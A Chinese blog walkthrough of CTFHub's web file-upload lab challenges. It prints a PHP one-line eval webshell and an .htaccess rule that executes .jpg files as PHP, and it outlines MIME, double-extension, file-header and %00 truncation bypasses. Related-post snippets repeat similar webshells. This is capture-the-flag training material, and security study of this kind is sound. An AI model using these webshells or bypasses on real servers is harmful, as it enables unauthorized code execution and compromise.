ctfhub 技能树 web 文件上传

最新推荐文章于 2024-06-14 11:01:38 发布
最新推荐文章于 2024-06-14 11:01:38 发布
阅读量91 收藏
点赞数
分类专栏： ctfshow通关 文章标签： 前端 php 开发语言 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_62207170/article/details/130228164
版权

1.无验证

直接上传一句话木马

<?php @eval($_POST[1])?>

在使用蚁剑连接，查看flag
在这里插入图片描述

2.前端js

直接删除j验证的js代码即可
或禁用js

3.MIME检查

burp抓包修改mime
在这里插入图片描述
蚁剑连接
在这里插入图片描述

4…htaccess

上传.htaccess
把jpg后缀的文件当php代码处理

<FilesMatch "\.jpg">
  SetHandler application/x-httpd-php
</FilesMatch>

1.jpg

<?php @eval($_POST[1])?>

上传1.jpg
蚁剑连接
在这里插入图片描述

5.双写后缀

burp抓包改后缀
在这里插入图片描述
蚁剑连接
在这里插入图片描述

6.检查文件头

找一张gif图片，猜测这里应该没有检查后缀，只是检查了文件头，因为检查文件头，只要文件头不匹配是不能成功的，如果检查了后缀，那么这题只能用配合文件包含来做
burp抓包，修改后缀
在这里插入图片描述
蚁剑连接
在这里插入图片描述

7.%00截断

抓包
在这里插入图片描述
蚁剑连接
在这里插入图片描述
文件上传简单总结：
在这里插入图片描述
参考文章：
文件头

mushangqiujin
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
3.18号日报，ctfhub中web，文件上传漏洞题目解法
03-18
文件上传漏洞
ctf+web安全+任意文件上传+任意文件下载
10-08
ctf+web安全+任意文件上传+任意文件下载
CTFHub技能树 Web-文件上传详解
千寻的博客
11-21 2949
文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷，而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马，病毒，恶意脚本或者WebShell等。“文件上传”本身没有问题，有问题的是文件上传后，服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全，则会导致严重的后果。 ———————————————— 版权声明：本文为CSDN博主「Fasthand_」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。 原文链接：ht
CTFHub技能树 Web-文件上传 详解
weixin_45808483的博客
11-15 2618
无验证 启动环境 我们上传一句话木马 <?php @eval($_POST['shell']);?> 提示了相对路径， 我们直接使用蚁剑连接。 找到flag。 前端验证 上传php文件，前端校验不允许上传php文件 审计代码，只允许上传图片类型 我们先将后缀改为 .jpg 上传成功 再通过burp抓包，修改filename="1.php"和Content-Type: php 发送数据包，页面显示上传成功 使用蚁剑连接 成...
CTFHub技能树web之文件上传（一）
wzhwzh123321的博客
02-15 1251
使用蚁剑连接，上传的.htaccess文件文件名字只能是.htaccess，只能有后缀而不能有文件的名，比如1.htaccess等，在第一次上传中我使用了1.htaccess，在后续上传jpg格式文件后服务器没有自动将jpg解析为php文件，需要注意。JavaScript会对我们上传的文件进行限制，允许图片格式上传，可以通过上传图片马或者使用bp修改一下文件后缀即可，本题使用bp修改文件后缀的方法，先将文件后缀修改为.jpg格式，文件上传然后抓包。文件上传目录权限：确保上传目录的适当权限设置非常重要。
ctfhub技能树web
m0_58030673的博客
05-19 965
ctfhub技能树web方向wp
CTFHub技能树web之文件上传（二）
wzhwzh123321的博客
02-15 500
MIME类型校验就是我们在上传文件到服务端的时候，服务端会对客户端也就是我们上传的文件的Content-Type类型进行检测，如果是白名单所允许的，则可以正常上传，否则上传失败。直接将文件名改为phpphp后仍然回显空的后缀，应当是将php替换为空，直接双写会返回两个空，因此将后缀改为pphphp，只能识别到第二个字符开始的php并改为空，剩下的拼接仍然是一个php后缀。成功上传，观察回显，发现上传的文件中的php后缀消失，结合题目应该是需要将php双写完成绕过。上传成功，使用蚁剑连接，成功连接。
ctfhub web 文件上传 技能树 wp
m0_55854679的博客
05-22 550
ctfhub 文件上传 - htaccess 查看网页源码，可以看到常用的文件后缀都被禁用。 根据题目的提示，.hatccess文件【.htaccess是Apache的又一特色。一般来说，配置文件的作用范围都是全局的，但Apache提供了一种很方便的、可作用于当前目录及其子目录的配置文件——.htaccess（分布式配置文件）】 ......
ctfhub技能树web--sql注入
m0_64636395的博客
05-15 753
SQL 注入是一种将 SQL 代码插入或添加到应用（用户）的输入参数中，之后再将这些参数传递给后台的 SQL 服务器加以解析并执行的攻击。攻击者能够修改 SQL 语句，该进程将与执行命令的组件（如数据库服务器、应用服务器或 WEB 服务器）拥有相同的权限。如果 WEB 应用开发人员无法确保在将从 WEB 表单、cookie、输入参数等收到的值传递给 SQL 查询（该查询在数据库服务器上执行）之前已经对其进行过验证，通常就会出现 SQL 注入漏洞。提示：以下是本篇文章正文内容，下面案例可供参考。
CTFHub技能树 Web-SSRF 上传文件
Senimo
07-04 1650
CTFHub技能树 Web-SSRF 上传文件 hint：这次需要上传一个文件到flag.php了，祝你好运 启动环境，依然为空白页面，查看URL： http://challenge-30455822aa791779.sandbox.ctfhub.com:10800/?url=_ 其通过 GET 方式传递了参数url，依照之前题目，尝试访问?url=127.0.0.1/flag.php： 提示需要上传 Webshell，只有选择文件功能，并没有提交按钮。 使用file协议读取flag.php的源码： ?
CTFHub 技能树-web文件上传
akxnxbshai的博客
03-09 4528
目录 无过滤： 前端过滤： .htaccess： MIME绕过： 双写后缀： 文件头检查： 无过滤： 直接传入一句话木马： <?php @eval($_POST['1']);?> 然后用蚁剑连一下： 得到flag： 前端过滤： function checkfilesuffix() { var file=document.getElementsByName('file')[0]['value']; if(file==""||file==n
ctfhub web全部做题记录(持续跟新)
01-08
信息泄露 ...url = http://challenge-c93f188d4781b829.sandbox.ctfhub.com:10080/ a = ['web','website','backup','back','www','wwwroot','temp'] b = ['tar','tar.gz','zip','rar'] for i in a: fo
河南省网络安全高校战队联盟CTF训练营-web文件上传第一期
04-22
河南省网络安全高校战队联盟CTF训练营-web文件上传第一期 脚本及工具
ctfhub:一些用于CTF环境的Docker
05-14
CTFhub — 基于Docker的CTF学习环境0x00 前言CTFhub是面向所有学习CTF的朋友的环境，不用了解docker原理及知识，仅仅简单执行几条命令即可完成整个平台的搭建。0x01 搭建环境使用CTFhub中的环境的前提条件需要在本地...
JS中一个dom元素能绑定多少事件
ggq53219的博客
06-10 576
在JavaScript中，一个DOM元素可以绑定的事件数量并没有明确的限制，这主要取决于浏览器的实现和内存限制。然而，在实际应用中，为同一个DOM元素绑定过多的事件监听器可能会导致性能问题，尤其是在事件处理函数执行复杂操作的情况下。总之，虽然JavaScript中DOM元素可以绑定的事件数量没有明确的限制，但在实际应用中应注意避免过度绑定和优化事件处理函数，以确保良好的性能和用户体验。
Web前端网站设计案例：深入剖析创意与技术的完美融合
liyrbtqe_66w的博客
06-12 300
在性能优化方面，设计师通过压缩代码、减少HTTP请求、使用CDN等技术手段，提升了网站的加载速度和响应性能，为用户提供了更加流畅的访问体验。综上所述，本Web前端网站设计案例通过视觉设计、用户体验、技术实现、性能优化、创意表达、响应式设计和跨平台兼容等方面的综合考量，成功打造了一款既美观又实用的网站。这个案例充分展示了Web前端设计的魅力和潜力，为未来的网站设计提供了有益的借鉴和启示。设计师通过独特的视觉元素和创意构思，将品牌理念和文化内涵融入其中，使得整个网站在传达信息的同时，也展现出品牌的独特魅力。
HTML入门教程：深度解析HTML，开启你的前端技术之旅
最新发布
zhangwenok的博客
06-14 1296
HTML（HyperText Markup Language，超文本标记语言）是前端开发的基础，它负责构建网页的结构和内容。作为前端技术栈的基石，HTML的掌握程度直接影响到网页的开发效率和用户体验。本教程将带你从零开始，逐步深入了解HTML的各个方面，帮助你打下坚实的前端技术基础。HTML是一种用于创建网页的标准标记语言，它通过一系列的元素（elements）和标签（tags）来定义网页的结构和内容。HTML文档由一系列的元素组成，这些元素通过标签来标识。
Harmony 开发的艺术 面向对象
不懂先生的博客
06-13 1106
然后你可以创建多个子类，如“圆形”、“矩形”和“三角形”，它们都继承自“形状”类并实现了自己的“绘制”方法。尽管每个对象的类型可能不同（圆形、矩形、三角形等），但由于它们都继承了“形状”类并实现了相同的“绘制”方法，因此你可以通过父类引用来统一调用它们的方法。然后你可以创建一个“狗”类，它继承自“动物”类，并添加或覆盖一些特定的属性和方法（如“叫”和“摇尾巴”）。所以面向对象的三大特征（封装、继承、多态）在java语言中很容易实现的设计，搬到早期的JavaScript中，就变噩梦一样的存在。
ctfhub技能树web基础认证
03-13
CTFHub是一个CTF（Capture The Flag）竞赛平台，提供了丰富的技能树来帮助学习者提升Web基础认证的能力。下面是CTFHub技能树中关于Web基础认证的内容： 1. HTTP协议：了解HTTP协议的基本原理和常见的请求方法（GET...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值